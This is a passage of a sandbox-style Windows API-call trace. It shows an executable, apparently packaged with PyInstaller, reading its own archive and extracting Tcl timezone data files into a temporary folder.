(lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.968] GetFileType (hFile=0x10c) returned 0x1 [0039.968] htonl (hostlong=0xbcb25a00) returned 0x5ab2bc [0039.968] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f62bc, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.968] htonl (hostlong=0xb4010000) returned 0x1b4 [0039.968] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1b4) returned 0x550600 [0039.968] htonl (hostlong=0xb4010000) returned 0x1b4 [0039.968] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.968] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.968] htonl (hostlong=0x6b060000) returned 0x66b [0039.968] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x66b) returned 0x55e278 [0039.968] htonl (hostlong=0xb4010000) returned 0x1b4 [0039.968] htonl (hostlong=0x6b060000) returned 0x66b [0039.968] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.968] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.969] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.969] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.969] CloseHandle (hObject=0x10c) returned 1 [0039.969] GetLastError () returned 0x0 [0039.969] SetLastError (dwErrCode=0x0) [0039.969] GetLastError () returned 0x0 [0039.969] SetLastError (dwErrCode=0x0) [0039.969] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.969] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.969] GetFileType (hFile=0x10c) returned 0x1 [0039.969] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.969] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.969] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.969] CloseHandle (hObject=0x10c) returned 1 [0039.969] GetLastError () returned 0x0 [0039.969] SetLastError (dwErrCode=0x0) [0039.969] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.969] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.969] GetFileType (hFile=0x10c) returned 0x1 [0039.970] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.970] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.970] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.970] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.970] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.970] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.970] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.970] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.970] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.970] CloseHandle (hObject=0x10c) returned 1 [0039.970] GetLastError () returned 0x0 [0039.970] SetLastError (dwErrCode=0x0) [0039.970] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0039.970] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.970] GetFileType (hFile=0x10c) returned 0x1 [0039.970] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.970] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.970] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.970] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.970] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.970] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.970] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.970] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.970] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.970] CloseHandle (hObject=0x10c) returned 1 [0039.970] GetLastError () returned 0x0 [0039.971] SetLastError (dwErrCode=0x0) [0039.971] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Baghdad") returned 69 [0039.971] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Baghdad" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\baghdad"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.971] GetLastError () returned 0x2 [0039.971] SetLastError (dwErrCode=0x2) [0039.971] GetLastError () returned 0x2 [0039.971] SetLastError (dwErrCode=0x2) [0039.971] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Baghdad", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Baghdad", lpFilePart=0x0) returned 0x44 [0039.971] GetLastError () returned 0x2 [0039.971] SetLastError (dwErrCode=0x2) [0039.971] GetLastError () returned 0x2 [0039.971] SetLastError (dwErrCode=0x2) [0039.971] GetLastError () returned 0x2 [0039.971] SetLastError (dwErrCode=0x2) [0039.971] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Baghdad") returned 69 [0039.971] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.971] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Baghdad" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\baghdad"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.971] GetFileType (hFile=0x10c) returned 0x1 [0039.971] htonl (hostlong=0x6b060000) returned 0x66b [0039.971] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.971] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x66b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x66b, lpOverlapped=0x0) returned 1 [0039.972] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.972] CloseHandle (hObject=0x10c) returned 1 [0039.972] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.972] htonl (hostlong=0x30000000) returned 0x30 [0039.973] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.973] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.973] GetFileType (hFile=0x10c) returned 0x1 [0039.973] htonl (hostlong=0x70b45a00) returned 0x5ab470 [0039.973] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f6470, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.973] htonl (hostlong=0x95000000) returned 0x95 [0039.973] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x95) returned 0x55cfe0 [0039.973] htonl (hostlong=0x95000000) returned 0x95 [0039.973] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.973] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.973] htonl (hostlong=0xab000000) returned 0xab [0039.973] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xab) returned 0x550600 [0039.973] htonl (hostlong=0x95000000) returned 0x95 [0039.973] htonl (hostlong=0xab000000) returned 0xab [0039.973] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.973] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.973] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.973] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.973] CloseHandle (hObject=0x10c) returned 1 [0039.973] GetLastError () returned 0x0 [0039.973] SetLastError (dwErrCode=0x0) [0039.973] GetLastError () returned 0x0 [0039.973] SetLastError (dwErrCode=0x0) [0039.973] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.974] GetFileType (hFile=0x10c) returned 0x1 [0039.974] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.974] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.974] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.974] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.974] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.974] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.974] CloseHandle (hObject=0x10c) returned 1 [0039.974] GetLastError () returned 0x0 [0039.974] SetLastError (dwErrCode=0x0) [0039.974] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.974] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.974] GetFileType (hFile=0x10c) returned 0x1 [0039.974] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.974] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.974] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.974] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.974] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.974] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.975] CloseHandle (hObject=0x10c) returned 1 [0039.975] GetLastError () returned 0x0 [0039.975] SetLastError (dwErrCode=0x0) [0039.975] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0039.975] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.975] GetFileType (hFile=0x10c) returned 0x1 [0039.975] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.975] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.975] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.975] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.975] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.975] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.975] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.975] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.975] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.975] CloseHandle (hObject=0x10c) returned 1 [0039.975] GetLastError () returned 0x0 [0039.975] SetLastError (dwErrCode=0x0) [0039.975] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Bahrain") returned 69 [0039.975] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Bahrain" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\bahrain"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.975] GetLastError () returned 0x2 [0039.975] SetLastError (dwErrCode=0x2) [0039.975] GetLastError () returned 0x2 [0039.975] SetLastError (dwErrCode=0x2) [0039.975] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Bahrain", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Bahrain", lpFilePart=0x0) returned 0x44 [0039.975] GetLastError () returned 0x2 [0039.975] SetLastError (dwErrCode=0x2) [0039.976] GetLastError () returned 0x2 [0039.976] SetLastError (dwErrCode=0x2) [0039.976] GetLastError () returned 0x2 [0039.976] SetLastError (dwErrCode=0x2) [0039.976] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Bahrain") returned 69 [0039.976] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.976] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Bahrain" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\bahrain"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.976] GetFileType (hFile=0x10c) returned 0x1 [0039.976] htonl (hostlong=0xab000000) returned 0xab [0039.976] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.976] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xab, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xab, lpOverlapped=0x0) returned 1 [0039.977] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.977] CloseHandle (hObject=0x10c) returned 1 [0039.977] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.977] htonl (hostlong=0x30000000) returned 0x30 [0039.977] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.977] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.977] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.977] GetFileType (hFile=0x10c) returned 0x1 [0039.977] htonl (hostlong=0x5b55a00) returned 0x5ab505 [0039.977] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f6505, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.978] htonl (hostlong=0x9d050000) returned 0x59d [0039.978] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x59d) returned 0x550600 [0039.978] htonl (hostlong=0x9d050000) returned 0x59d [0039.978] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.978] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.978] htonl (hostlong=0xaf1b0000) returned 0x1baf [0039.978] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1baf) returned 0x561090 [0039.978] htonl (hostlong=0x9d050000) returned 0x59d [0039.978] htonl (hostlong=0xaf1b0000) returned 0x1baf 